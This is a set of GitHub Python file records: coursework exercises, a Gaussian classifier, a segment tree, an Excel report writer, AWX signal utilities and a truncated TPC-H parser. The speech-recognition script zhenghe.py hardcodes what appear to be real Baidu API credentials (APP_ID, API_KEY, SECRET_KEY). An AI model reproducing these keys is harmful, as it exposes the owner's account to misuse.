+{"seq_id":"14788763925","text":"# aula 01\n# 1-ex 1,2,3,5,6\n# 2-ex 2\n# 3-ex 4\n\n# aula 02\n# 4-ex 1,2,3,4,5,6,10,12,15\n# 5.1-ex c(a,b)\n# 5.2-ex c(a,b)\n\n########################################\n#__init data__\nfrom functools import reduce\n\nl1 = [1,2,3,4,5]\nl2 = [6,7,8,9,0]\nl3 = [1,2,3,3,2,1]\nl4 = [1,2,3,2,1]\nl5 = [[1,2,3],['a','b','c'],[123]]\nl6 = [2,4,-3,7]\nl7 = [-1,-1,-1,-1,-99]\nlp = [(1,2),('a','b'),(3,4)]\n#################__1__##################\nprint('\\nex 1.1')\ndef lengList(l):\n    if l == []:\n        return 0\n    return 1 + lengList(l[1:])\nprint(lengList(l1))\n\nprint('\\nex 1.2')\ndef soma(l):\n    if l == []:\n        return 0\n    return l[0] + soma(l[1:])\nprint(soma(l1))\n\nprint('\\nex 1.3')\ndef findValue(l,v):\n    if l == []:\n        return False\n    if v == l[0]:\n        return True\n    return findValue(l[1:],v)\n\nprint(findValue(l1, 3))\nprint(findValue(l1, 6))\n\nprint('\\nex 1.4')\ndef concat(l1,l2):\n    if l1 == []:\n        return l2\n    conc = concat(l1[1:],l2)\n    conc[:0] = [l1[0]]\n    return conc\n\nprint(concat(l1,l2))\n\nprint('\\nex 1.5')\ndef inversa_1(l):\n    if l == []:\n        return []\n    return [] + l[-1:] + inversa_1(l[:-1])\n\ndef inversa_2(l):\n    if l == []:\n        return []\n    return inversa_2(l[1:]) + [l[0]]\n\nprint(inversa_1(l1))\nprint(inversa_2(l1))\n\nprint('\\nex 1.6')\ndef capicua(l):\n    if l == [] or len(l) == 1:\n        return True\n    if l[0] == l[-1]:\n        return capicua(l[1:-1])\n    else:\n        return False\n\nprint(capicua(l1))\nprint(capicua(l3))\nprint(capicua(l4))\n\nprint('\\nex 1.7')\n\ndef concatList_of_list(l):\n    if l == []:\n        return []\n    return l[0] + concatList_of_list(l[1:])\n\nprint(concatList_of_list(l5))\n\nprint('\\nex 1.8')\ndef subst(l,x,y):\n    if l == []:\n        return []\n    if l[0] == x:\n        l[0] = y\n    return [l[0]] + subst(l[1:],x,y)\n\nprint(subst(l1,3,999))\n\n#################__2__##################\nprint('\\nex 2.1')\ndef listaPares(lpares):\n    if lpares == []:\n        return ([],[])\n    t = listaPares(lpares[1:])\n    return [lpares[0][0]] + t[0], [lpares[0][1]] + t[1]\n\nprint(listaPares(lp))\n\nprint('\\nex 2.2')\ndef remove_e_conta(l,x):\n    if l == []:\n        return ([],0)\n    t = remove_e_conta(l[1:],x)\n    if l[0] == x:\n        return (t[0],t[1]+1)\n    else:\n        return ([l[0]] + t[0],t[1])\n\nprint(remove_e_conta([1,6,2,5,5,2,5,2],2))\n\nprint('\\nex 2.3')\ndef sumElem(l):\n    if l == []:\n        return []\n    t = sumElem(l[1:])\n    for i in range(len(t)):\n        if l[0] in t[i]:\n            t[i] = (t[i][0], t[i][1] + 1)\n            return t\n    t.append((l[0],1))\n    return t\n\nprint(sumElem(['a','a','c','b','c']))\n\n#################__3__##################\nprint('\\nex 3.1')\ndef firstElem(l):\n    if len(l) == 0:\n        return None\n    else:\n        return l[0]\n\nprint(firstElem([1,2,3,4]))\nprint(firstElem(''))\n\nprint('\\nex 3.2')\ndef tailElem(l):\n    if len(l) == 0:\n        return None\n    else:\n        return l[1:]\n\nprint(tailElem([1,2,3,4]))\nprint(tailElem(''))\n\nprint('\\nex 3.3')\n\n\nprint('\\nex 3.4')\ndef menorElem(l):\n    if len(l) == 0:\n        return None\n    else:\n        menor = None\n        for c in l:\n            if menor is None:\n                menor = c\n            elif c < menor:\n                menor = c\n        return menor\n\nprint(menorElem([4,3,2,6,4,1]))\nprint(menorElem('diogo'))\n\n#################__4__##################\nprint('\\nex 4.1')\nimpar = lambda x: False if x % 2 == 0 else True\n\nprint(4, impar(4))\nprint(5, impar(5))\n\nprint('\\nex 4.2')\npositivo = lambda x: True if x>=0 else False\n\nprint(positivo(12))\nprint(positivo(-12))\n\nprint('\\nex 4.3')\nmaior = lambda x,y: True if x<y else False\n\nprint(maior(2,4))\nprint(maior(4,2))\n\nprint('\\nex 4.4')\nimport math\npolarCoord = lambda x, y: (math.sqrt(x ** 2 + y ** 2), math.atan(y / x))\n\nprint(polarCoord(2, 4))\n\nprint('\\nex 4.5')\nf1 = lambda x,y: x%y\nf2 = lambda x,y: x+y\nf3 = lambda x,y: x//y\nfuncaoFinal = lambda x, y, z: f3(f1(x, y), f2(y, z))\n\nprint(funcaoFinal(20,22,71),'???')\n\nprint('\\nex 4.6')\nex46 = lambda lst: all(map(positivo,lst))\n\nprint(ex46(l6))\nprint(ex46(l4))\n\nprint('\\nex 4.7')\nex47 = lambda lst: any(map(positivo,lst))\n\nprint(ex47(l6))\nprint(ex47(l7))\n\nprint('\\nex 4.8')\nlst1 = [1,2,3]\nlst2 = [1,2,6]\nlst3 = [1,2,3,4,5]\nex48 = lambda lst1,lst2: all(x in lst2 for x in lst1)\n\nprint(ex48(lst1,lst3))\nprint(ex48(lst2,lst3))\n\nprint('\\nex 4.9')\nl49 = [1,3,2,6,4]\nmenorex49 = lambda x,y: True if x<y else False\n\ndef ex49(lst,funcao):\n    if len(lst) == 1:\n        return lst[0]\n    else:\n        rt = lst[0]\n        for x in lst:\n            if funcao(x,rt):\n                rt = x\n        return rt\n## OR ##\ndef ex49_rec(lst,funcao):\n    if len(lst) == 1:\n        return lst[0]\n    rec = ex49_rec(lst[1:],funcao)\n    if funcao(lst[0],rec):\n        return lst[0]\n    return rec\nprint(ex49(l49,menorex49))\nprint('rec:',ex49_rec(l49,menorex49))\n###############\n# feito pelo prof\nprint('ex4.9 prof:')\ndef ex49_prof(lst, funcao):\n    if lst == []:  # esta comparação é desnecessária, visto que a lista tem sempre 1 elemento, no mínimo\n        return None\n\n    rt = lst[0]  # iniciamos o valor máximo com o 1º elemento\n    # como fazias já dentro da 3ª condição\n\n    for x in lst[1:]:  # iteramos sobre a lista (a partir do 2.º elemento)\n        if funcao(x, rt):\n            rt = x\n    return rt\n\nprint(ex49_prof(l49, menorex49))\n\ndef ex49Rec_prof(lst, funcao):  # forma recursiva\n    if len(lst) == 1:\n        return lst[0]\n    rec = ex49Rec_prof(lst[1:], funcao)  # o menor dos elementos do resto da lista ...\n    print('debug',lst, rec)\n    if funcao(lst[0], rec):  # a comparação entre o menor do resto e a cabeça da lista\n        return lst[0]\n    return rec\n\nprint(ex49Rec_prof(l49, menorex49))\n\nprint('\\nex 4.10')\nl50 = [3,2,4,1,7,1]\ndef ex410(lst,funcao):\n    if lst == []:\n        return None\n    elif len(lst) == 1:\n        return (lst[0],[])\n    else:\n        rt = lst[0]\n        for x in lst:\n            if funcao(x,rt):\n                rt = x\n        return (rt,list(filter(lambda x: x!=rt,lst)))\n## OR ##\ndef ex410_2(lst,funcao):\n    rt = ex49(lst,funcao)\n    #return (rt,list(filter(lambda x: x!=rt,lst)))\n    ## OR ##\n    return (rt,[x for x in lst if x !=rt])\n\nprint(ex410(l50,menorex49))\nprint(ex410_2(l50,menorex49))\n\nprint('\\nex 4.11')\ndef ex411(lst,func):\n    rt = ex410_2(lst,func)\n    rt2 = ex410_2(rt[1],func)\n    return (rt[0],rt2[0],rt2[1])\n\nprint(ex411(l50,menorex49))\n\nprint('\\nex 4.12')\ncordenList = [(3,5),(1,7),(9,3),(12,45)]\ndef ex412(lst):\n    return [polarCoord(elem[0], elem[1]) for elem in lst]\n\n#    if len(lst)==0:\n#        return None\n#    else:\n#        listRt = []\n#        for x,y in lst:\n#            listRt.append(polarCood(x,y))\n#        return listRt\n\nprint(ex412(cordenList))\n\nprint('\\nex 4.13\\n acabado mas - perguntar se esta bem!!')\nlst1ord = [3,5,7,11,21]\nlst2ord = [1,2,4,5,20,22]\n\n#      3   5 7 11 16\n#  1 2   4 5         20 22\n\ndef ex413_rec(lst1,lst2,func):\n    if lst1 == []:\n        return lst2\n    elif lst2 == []:\n        return lst1\n    if func(lst1[0],lst2[0]):\n        rec = ex413_rec(lst1[1:],lst2,func)\n        tke = [lst1[0]]\n    elif func(lst2[0],lst1[0]):\n        rec = ex413_rec(lst1,lst2[1:],func)\n        tke = [lst2[0]]\n    else:\n        rec = ex413_rec(lst1[1:], lst2[1:], func)\n        tke = [lst1[0], lst2[0]]\n\n    return tke + rec\n    # if func(lst1[0],lst2[0]):\n    #     rec[:0] = [lst1[0]]\n    #     return rec\n    # elif func(lst2[0],lst1[0]):\n    #     rec[:0] = [lst2[0]]\n    #     return rec\n    # else:\n    #     rec[:0] = [lst1[0]] + [lst2[0]]\n    #     return rec\n\nprint(ex413_rec(lst1ord,lst2ord,menorex49))\n\n\nprint('\\nex 4.14')\nlstex414 = [[1,3,2],[4,2],[5,4,3,7,5],[0]]\nfuncEx14 = lambda x: x**2\n\ndef ex414(lst,func):\n    newLst = []\n    for x in lst:\n        newLst += x\n    return [funcEx14(x) for y in lst for x in y]\n\nprint(ex414(lstex414,funcEx14))\n\nprint('\\nex 4.15')\nparL = ([1,4,2,7,4,3],[1,4,3,6,4,3])\nfuncEx15 = lambda x,y: x+y\n\ndef ex415(parlst,func):\n    if len(parlst[0]) != len(parlst[1]):\n        return None\n    elif parlst[0] == []:\n        return []\n    rec = ex415((parlst[0][1:],parlst[1][1:]),func)\n    return [func(parlst[0][0],parlst[1][0])] + rec\n\nprint(ex415(parL,funcEx15))\n\n#################__5__##################\nprint('\\nex 5.1')\nlstSelectSort = [4, 24, 2, 7, 8, 44, 22, 36, 2, 198, 100, 15]\ndef selectionSort(lst):\n    if lst == []:\n        return []\n    min = reduce(lambda x,y: x if x<y else y,lst)\n    lst.remove(min)\n    lst[:0] = [min]\n    final = selectionSort(lst[1:])\n    return [lst[0]] + final\nprint(lstSelectSort)\nprint(selectionSort(lstSelectSort))\nprint(lstSelectSort)\n\nprint('\\nex 5.2')\nlstBubbleSort = [4, 24, 2, 7, 8, 44, 22, 36, 2, 198, 100, 15]\ndef bubbleSort(lst):\n    if len(lst) == 0: return []\n    for i in range(len(lst)-1):\n        if lst[i]>lst[i+1]:\n            lst[i], lst[i+1] = lst[i+1], lst[i]\n    rec = bubbleSort(lst[:len(lst)-1])\n    return rec + [lst[-1]]\n\nprint(bubbleSort(lstBubbleSort))\n\n","repo_name":"diogo-f/Computer_Engineering_classes_and_works","sub_path":"Artificial Intelligence Class/classes/Guiao01.py","file_name":"Guiao01.py","file_ext":"py","file_size_in_byte":8905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13501980953","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 24 23:40:43 2020\n\n@author: abhis\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport src.activation as act\n\nclass Gauss_Model_bin_Classifier(object):\n    \n    '''Some work needs to be done here\n    Gaussian model for binary classification'''\n    def __init__(self,shape):\n        '''Something needs to be written here'''\n        self.shape = shape\n        self.mean_class1 = np.zeros(shape)\n        self.var_class1 = np.matmul(self.mean_class1,np.transpose(self.mean_class1))\n        self.mean_class2 = np.zeros(shape)\n        self.var_class2 = np.matmul(self.mean_class1,np.transpose(self.mean_class1))\n        \n        \n    def parameter_estimator(self,training_data_class1,training_data_class2):\n        '''takes in a pandas dataframe and uses it to estimate mean and variance'''\n#        self.mean_class1 = np.mean(training_data_class1.Feature,axis =0)\n#        self.mean_class2 = np.mean(training_data_class1.Feature,axis = 0)\n#        \n        self.mean_class1 = self.mean_estimator(training_data_class1)\n        self.var_class1 = self.var_estimator(training_data_class1,self.mean_class1)\n        self.mean_class2 = self.mean_estimator(training_data_class2)\n        self.var_class2 = self.var_estimator(training_data_class2,self.mean_class2)\n        \n        \n        '''Really need to find out how it will work'''\n        '''Training data is a list of feature vectors'''\n\n    def mean_estimator(self,x):\n        '''Takes in the a pandas dataframe of feature vectors and returns the mean vector'''\n        add = np.zeros((x.Feature[0].shape))\n        for i in range(len(x.Feature)):\n            add = add + x.Feature[i]\n        return add/len(x.Feature)\n    \n    def var_estimator(self,x,mu):\n        '''Takes in a pandas dataframe, estimated mean vector and returns a diagonal variance matrix of type array'''\n        sq_sum = np.zeros(x.Feature[0].shape)\n        for i in range(len(x.Feature)):\n            sq_sum = (x.Feature[i]-mu)**2\n        diagmat = np.zeros(sq_sum.shape)\n        diagmat = np.matmul(diagmat,np.transpose(diagmat))\n        for i in range(sq_sum.shape[0]):\n            diagmat[i][i] = sq_sum[i]\n        return diagmat/(len(x.Feature)-1)\n    \n    \n    def classifier(self,feature_vector, a, t):\n        '''Is this all I need? I think  I know how to do this one at least'''\n        \n        #a = np.log(np.linalg.det(self.var_class1))-np.log(np.linalg.det(self.var_class2))#-> Ideally want to do this but due to overflow using log difference\n        \n        norm_const = 1e9 #Introducing a normalization constant to take care of overflow/underflow\n        b = np.matmul(np.transpose(feature_vector-self.mean_class1),np.linalg.inv(self.var_class1)@(feature_vector-self.mean_class1))\n        c = np.matmul(np.transpose(feature_vector-self.mean_class2),np.linalg.inv(self.var_class1)@(feature_vector-self.mean_class2))\n#        b = np.matmul(np.transpose(feature_vector-self.mean_class1),(feature_vector-self.mean_class1))\n#        c = np.matmul(np.transpose(feature_vector-self.mean_class2),(feature_vector-self.mean_class2))\n#        \n        print(act.sigmoid((a+b-c)/norm_const))\n        #print(a)\n        #print(type(a))\n        #print(c)\n        if act.sigmoid((a+b-c)/norm_const) <= t:\n            return 1,act.sigmoid((a+b-c)/norm_const)\n        else:\n            return 0,act.sigmoid((a+b-c)/norm_const)\n        \n        \n    def log_det_diag(self,inputmat):\n        '''Calculates the logarithmic deteminant of a diagonal Matrix\n        Takes in a 2-D symmetric array and returns a number\n        Uses '''\n        lndet = 0\n        #To ignore \n        #print(np.log(inputmat[5][5]))\n        for i in range(inputmat.shape[0]):\n            lndet = lndet + np.log(inputmat[i][i]+1) \n        #print(lndet)\n        return lndet\n            \n    def predictions(self,data, t = 0.5):\n        'Takes in a pandas dataframe and returns a list of classified output' \n        pred = []\n        prob = []\n        a = self.log_det_diag(self.var_class1) - self.log_det_diag(self.var_class2)\n        for i in range(len(data.Feature)):\n            predvalue, probvalue = self.classifier(data.Feature[i],a,t)\n            pred.append(predvalue)\n            prob.append(probvalue)\n        return pred,prob\n\n    def save(self, filename):\n        '''To Save the Parameters'''\n        x = {\n             'Mean1':self.mean_class1,\n             'Mean2':self.mean_class2,\n             'Variance1':self.var_class1,\n             'Variance2':self.var_class2}\n        df = pd.DataFrame(x, index = False)\n        df.to_csv(filename)\n        \n    \n    \n    \ndef load(filename):\n    '''A function to load a gaussian model from the input'''\n    df = pd.read_csv(filename)\n    shape = (1200,1)\n    model = Gauss_Model_bin_Classifier(shape)\n    model.mean_class1 = df.Mean1\n    model.mean_class2 = df.Mean2\n    model.var_class1 = df.Variance1\n    model.var_class2 = df.Variance2\n    \n    \n","repo_name":"Abhishek-EE/Face_Recognition","sub_path":"Arsingh3_Code/src/Models/GaussianModel/gaussian_model.py","file_name":"gaussian_model.py","file_ext":"py","file_size_in_byte":4932,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"20155348945","text":"import pyaudio\nimport wave\nfrom aip import AipSpeech\nimport datetime\nimport time\nimport codecs\nimport sys\nsys.stdout = codecs.getwriter('utf-8')(sys.stdout.detach())\ndef wwav():\n    CHUNK = 1024\n    FORMAT = pyaudio.paInt16\n    CHANNELS = 1\n    RATE = 16000\n    RECORD_SECONDS = 5\n    WAVE_OUTPUT_FILENAME = \"D:\\\\test.wav\"\n\n    p = pyaudio.PyAudio()\n\n    stream = p.open(format=FORMAT,channels = CHANNELS,rate = RATE,input = True,frames_per_buffer = CHUNK)\n\n    print(\"* recording\")\n    frames = []\n    for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n        data = stream.read(CHUNK)\n        frames.append(data)\n\n    print(\"* done recording\")\n    stream.stop_stream()\n    stream.close()\n    p.terminate()\n\n    wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')\n    wf.setnchannels(CHANNELS)\n    wf.setsampwidth(p.get_sample_size(FORMAT))\n    wf.setframerate(RATE)\n    wf.writeframes(b''.join(frames))\n    wf.close()\n\n\ndef shibie():\n    APP_ID = '17673156'\n    API_KEY = 'VuOEZqEHiQmv6brzxjWpvVqq'\n    SECRET_KEY = 'So5k1Topwq7frkeGo7jzr5jOeVrvcnak'\n\n    client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)\n    file_handle = open('D:\\\\test.wav', 'rb')\n    file_content = file_handle.read()\n\n    result = client.asr(file_content, 'pcm', 16000, {\n        'dev_pid': '1536',\n    })\n\n    if result['err_no'] == 0:\n        #print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + \" >> \" + result['result'][0])\n         print(result['result'][0])\n    else:\n        print(str(result['err_no']))\n        #print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + \" >> \" + \"err_no:\" + str(result['err_no']))\nif __name__=='__main__':\n    wwav()\n    time.sleep(1)\n    shibie()\n    time.sleep(2)","repo_name":"Spiritual-boy/first","sub_path":"zhenghe.py","file_name":"zhenghe.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43690513981","text":"from ftw.contentnav.testing import FTW_CONTENTNAV_INTEGRATION_TESTING\nfrom Products.CMFCore.utils import getToolByName\nfrom unittest import TestCase\n\n\nclass TestPackageInstall(TestCase):\n\n    layer = FTW_CONTENTNAV_INTEGRATION_TESTING\n\n    def setUp(self):\n        self.portal = self.layer['portal']\n        self.qi_tool = getToolByName(self.portal, 'portal_quickinstaller')\n\n    def test_package_installed(self):\n        pid = 'ftw.contentnav'\n        installed = [p['id'] for p in self.qi_tool.listInstalledProducts()]\n        self.assertIn(\n            pid, installed, 'package appears not to have been installed')\n\n    def test_index_get_content_categories_installed(self):\n        catalog = getToolByName(self.portal, \"portal_catalog\")\n        self.assertIn('get_content_categories', catalog.indexes())\n\n    def test_installed(self):\n        portal_setup = getToolByName(self.portal, 'portal_setup')\n        version = portal_setup.getLastVersionForProfile('ftw.contentnav:default')\n        self.assertNotEqual(version, None, 'Maybe the metadata.xml is missing.')\n        self.assertNotEqual(version, 'unknown', 'Maybe the metadata.xml is missing.')\n","repo_name":"4teamwork/ftw.contentnav","sub_path":"ftw/contentnav/tests/test_setup.py","file_name":"test_setup.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4256787159","text":"import sys\r\n# from collections import defaultdict\r\n# from collections import deque\r\n# import bisect\r\ninput = sys.stdin.readline\r\n# sys.setrecursionlimit(100000)\r\n\r\n\r\ndef update(l, r, k):\r\n    l += s\r\n    r += s\r\n    while l <= r:\r\n        if l % 2 == 1:\r\n            seg[l] += k\r\n            l += 1\r\n        if r % 2 == 0:\r\n            seg[r] += k\r\n            r -= 1\r\n        l //= 2\r\n        r //= 2\r\n\r\n\r\ndef query(pos):\r\n    pos += s\r\n    ret = 0\r\n    while pos != 0:\r\n        ret += seg[pos]\r\n        pos //= 2\r\n    return ret\r\n\r\n\r\nn = int(input())\r\na = list(map(int, input().split()))\r\ns = 1\r\nwhile s < n:\r\n    s *= 2\r\nseg = [0]*(2*s)\r\nfor i in range(int(input())):\r\n    line = list(map(int, input().split()))\r\n    if line[0] == 1:\r\n        update(line[1]-1, line[2]-1, line[3])\r\n    else:\r\n        print(a[line[1]-1]+query(line[1]-1))\r\n\r\n","repo_name":"chwoong/algorithm","sub_path":"16000/16975.py","file_name":"16975.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7350534640","text":"import os\nimport json\n\nfrom openpyxl import load_workbook\nfrom openpyxl.comments import Comment\nfrom openpyxl.styles import Color, PatternFill\n\nfrom config import MAIN_REPORTS_FOLDER, XLSX_REPORTS_FOLDER, JSON_REPORTS_FOLDER\n\n\ndef writedata(d, record_id):\n    r = 1\n    while True:\n        if not os.path.exists(f\"{MAIN_REPORTS_FOLDER}/{JSON_REPORTS_FOLDER}/{d['iogv_id']}\"):\n            os.mkdir(f\"{MAIN_REPORTS_FOLDER}/{JSON_REPORTS_FOLDER}/{d['iogv_id']}\")\n        if os.path.exists(\n                f\"{MAIN_REPORTS_FOLDER}/{JSON_REPORTS_FOLDER}/{d['iogv_id']}/{d['iogv_id']}_{d['subdivision']}_{d['post']}_{r}.json\") is False:\n            with open(\n                    f\"{MAIN_REPORTS_FOLDER}/{JSON_REPORTS_FOLDER}/{d['iogv_id']}/{d['iogv_id']}_{d['subdivision']}_{d['post']}_{r}.json\",\n                    \"w\") as file:\n                json.dump(d, file)\n            break\n        r += 1\n    # print(d)\n    with open(\"temp.json\", \"w\") as file:\n        json.dump(d, file)\n    insert_data = create_insert_data_list()\n    # print(os.getcwd())\n\n    wb = load_workbook(filename=\"models/template.xlsx\")\n    for data in insert_data:\n        ws = wb[data]\n        for quest in d[\"answer_questions\"]:\n            for q, r in insert_data[data].items():\n                if int(quest[\"question\"]) == int(q):\n                    # print(f'{data} : {q} : {r} : {float(quest[\"reply\"][\"answer\"])}')\n                    ws[r].value = float(quest[\"reply\"][\"answer\"])\n                    if \"comment\" in quest[\"reply\"]:\n                        comment = Comment(quest[\"reply\"][\"comment\"], \"admin\")\n                        comment.width = 300\n                        comment.height = 50\n                        ws[r].comment = comment\n                        yellow = PatternFill(start_color='FFFF00',\n                                              end_color='FFFF00',\n                                              fill_type='solid')\n                        ws[r].fill = yellow\n    flag = True\n    t = 1\n    while flag:\n        try:\n            if not os.path.exists(f\"{MAIN_REPORTS_FOLDER}/{XLSX_REPORTS_FOLDER}/{d['iogv_id']}\"):\n                os.mkdir(f\"{MAIN_REPORTS_FOLDER}/{XLSX_REPORTS_FOLDER}/{d['iogv_id']}\")\n            wb.save(f\"{MAIN_REPORTS_FOLDER}/{XLSX_REPORTS_FOLDER}/{d['iogv_id']}/{d['iogv_id']}_{d['subdivision']}_{d['post']}_{t}.xlsx\")\n            flag = False\n        except Exception as ex:\n            print(ex)\n        t += 1\n        if t == 15:\n            flag = False\n\n\ndef create_insert_data_list():\n    data = dict()\n    data[\"1. Культура и управление\"] = {}\n    data[\"2. Кадры\"] = {}\n    data[\"3. Процессы\"] = {}\n    data[\"4. Продукты\"] = {}\n    data[\"5. Данные\"] = {}\n    data[\"6. Инфраструктура и инструменты\"] = {}\n    i = 1\n    for j in range(5, 18):\n        data[\"1. Культура и управление\"][f\"{i}\"] = f\"E{j}\"\n        i += 1\n    for j in range(5, 20):\n        data[\"2. Кадры\"][f\"{i}\"] = f\"E{j}\"\n        i += 1\n    for j in range(5, 14):\n        data[\"3. Процессы\"][f\"{i}\"] = f\"E{j}\"\n        i += 1\n    for j in range(5, 16):\n        data[\"4. Продукты\"][f\"{i}\"] = f\"E{j}\"\n        i += 1\n    for j in range(5, 17):\n        data[\"5. Данные\"][f\"{i}\"] = f\"E{j}\"\n        i += 1\n    for j in range(5, 11):\n        data[\"6. Инфраструктура и инструменты\"][f\"{i}\"] = f\"E{j}\"\n        i += 1\n    return data\n","repo_name":"dobrodelete/Survey","sub_path":"models/xlsxwriter.py","file_name":"xlsxwriter.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12687994983","text":"import signal\nimport functools\nimport logging\n\n\nlogger = logging.getLogger('awx.main.tasks.signals')\n\n\n__all__ = ['with_signal_handling', 'signal_callback']\n\n\nclass SignalExit(Exception):\n    pass\n\n\nclass SignalState:\n    def reset(self):\n        self.sigterm_flag = False\n        self.is_active = False\n        self.original_sigterm = None\n        self.original_sigint = None\n        self.raise_exception = False\n\n    def __init__(self):\n        self.reset()\n\n    def set_flag(self, *args):\n        \"\"\"Method to pass into the python signal.signal method to receive signals\"\"\"\n        self.sigterm_flag = True\n        if self.raise_exception:\n            self.raise_exception = False  # so it is not raised a second time in error handling\n            raise SignalExit()\n\n    def connect_signals(self):\n        self.original_sigterm = signal.getsignal(signal.SIGTERM)\n        self.original_sigint = signal.getsignal(signal.SIGINT)\n        signal.signal(signal.SIGTERM, self.set_flag)\n        signal.signal(signal.SIGINT, self.set_flag)\n        self.is_active = True\n\n    def restore_signals(self):\n        signal.signal(signal.SIGTERM, self.original_sigterm)\n        signal.signal(signal.SIGINT, self.original_sigint)\n        self.reset()\n\n\nsignal_state = SignalState()\n\n\ndef signal_callback():\n    return signal_state.sigterm_flag\n\n\ndef with_signal_handling(f):\n    \"\"\"\n    Change signal handling to make signal_callback return True in event of SIGTERM or SIGINT.\n    \"\"\"\n\n    @functools.wraps(f)\n    def _wrapped(*args, **kwargs):\n        try:\n            this_is_outermost_caller = False\n            if not signal_state.is_active:\n                signal_state.connect_signals()\n                this_is_outermost_caller = True\n            return f(*args, **kwargs)\n        finally:\n            if this_is_outermost_caller:\n                signal_state.restore_signals()\n\n    return _wrapped\n","repo_name":"zOS-Application-RI/multiarch-awx","sub_path":"awx/main/tasks/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"38876847796","text":"def divide(a, b):\n    return a / b\n\n# ZeroDivisionError and TypeError\ntry:\n    divide(20, 10)\nexcept ZeroDivisionError as ex:\n    print('Error!', ex)\nexcept TypeError as ex:\n    print( 'something went wrong again!', ex)\nexcept Exception as ex:\n    print(ex)\n\n\n# FileNotFoundError\ntry:\n    with open('file_does_not_exist.txt', 'r') as file:\n        print(file.read())\nexcept FileNotFoundError as ex:\n    print(ex)\n\n\n# IndexError\nitems = [1,2,3,4,5]\ntry: \n    item = items[6]\n    print(item)\nexcept IndexError as ex:\n    print(ex)","repo_name":"KiteCaptain/python-programming","sub_path":"Basics/exception_handling.py","file_name":"exception_handling.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"45594708485","text":"from collections import deque\n\nN,K=map(int,input().split())\nans=[]\ndef bfs(n):\n    q=deque([[n,0]])\n    visited=[0]*100001\n    visited[n]=[1,0]\n    while q:\n\n        x,move=q.popleft()\n        if x==K:\n            ans.append(move)\n        for i in range(3):\n            if i==0:\n                xx=x+1\n            elif i==1:\n                xx=x-1\n            else:\n                xx=2*x\n\n            if 0<=xx<=100000 and not visited[xx]:\n                visited[xx]=[1,move+1]\n                q.append([xx,move+1])\n            elif 0<=xx<=100000 and visited[xx]:\n                if visited[xx][1]==move+1:\n                    q.append([xx,move+1])\n\nbfs(N)\nprint(ans[0])\nprint(len(ans))\n","repo_name":"SeongjinLee00/Baekjoon","sub_path":"백준/Gold/12851. 숨바꼭질 2/숨바꼭질 2.py","file_name":"숨바꼭질 2.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38570335633","text":"import sys\nimport argparse\n# import numpy as np\nimport cProfile\nimport pstats\nimport io\n\n\nclass Part:\n    # 'PARTKEY', 'NAME', 'MFGR', 'BRAND', 'TYPE', 'SIZE', 'CONTAINER', 'RETAILPRICE', 'COMMENT'\n\n    def __init__(self, **kwargs):\n        self.partkey = kwargs.get('partkey', \"0\")\n        self.name = kwargs.get('name', \"0\")\n        self.mfgr = kwargs.get('mfgr', None)\n        self.brand = kwargs.get('brand', None)\n        self.type = kwargs.get('type', \"\")\n        self.size = kwargs.get('size', \"0\")\n        self.container = kwargs.get('container', \"\")\n        self.retailprice = kwargs.get('retailprice', \"0\")\n        self.comment = kwargs.get('comment', \"\")\n\n    def __str__(self):\n        return \"CUSTOMER : (\"+str(self.partkey) + \" - \" + self.name + \" - \" + \\\n            self.mfgr + \" - \" + self.brand + \" - \" + self.type + \" - \" + \\\n            str(self.size) + \" - \" + self.container + \" - \" +  \\\n            str(self.retailprice) + \" - \" + self.comment + \")\"\n\n    def __eq__(self, other):\n        return self.partkey == other.partkey\n\n\n\n\ndef read_lines(filename):\n    '''This functions reads each line of a file and returns a list of string lines.'''\n    file = open(filename, 'r')\n\n    lines = []\n    count = 0\n\n    while True:\n        count += 1\n\n        #  Get next line from file\n        line = file.readline()\n\n        # if line is empty end of file is reached\n        if not line:\n            break\n        else:\n            lines.append(line)\n    return lines\n\n\ndef parse_lines(lines):\n    parsed_values = []\n\n    for line in lines:\n        values = line.split(\"|\")\n        parsed_values.append(values)\n\n    return parsed_values\n\n\ndef convert_toNumbers(parsed_values):\n    '''Drop the first line which is the header and convert the remaining lines'''\n    values = []\n    count = 0\n\n    for i in range(1, len(parsed_values)):\n\n        values.append(\n            [int(parsed_values[i][0]), parsed_values[i][1], parsed_values[i][2],\n             parsed_values[i][3], parsed_values[i][4], int(\n                 parsed_values[i][5]),\n             parsed_values[i][6], float(parsed_values[i][7]), parsed_values[i][8]])\n        i += 1\n\n    return values\n\n\ndef convert_to_parts(values):\n    ''' Find the max in a Part    \n    '''\n    parts = []\n\n    for item in values:\n        p = Part(partkey=item[0],\n                 name=item[1],\n                 mfgr=item[2],\n                 brand=item[3],\n                 type=item[4],\n                 size=item[5],\n                 container=item[6],\n                 retailprice=item[7],\n                 comment=item[8]\n                 )\n\n        parts.append(p)\n\n    return parts\n\n\ndef find_max_price(parts):\n    ''' Find the max in a Part List '''\n    max_retailprice = 0.0\n    max_part = None\n# We do linear search in the list\n    for part in parts:\n        if(part.retailprice > 